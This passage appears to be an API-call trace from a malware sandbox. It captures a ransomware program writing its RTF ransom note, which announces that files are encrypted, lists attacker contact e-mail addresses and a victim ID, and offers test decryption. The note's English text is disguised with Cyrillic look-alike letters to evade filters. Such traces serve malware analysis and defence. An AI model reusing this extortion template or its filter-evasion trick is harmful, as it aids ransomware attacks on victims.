D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 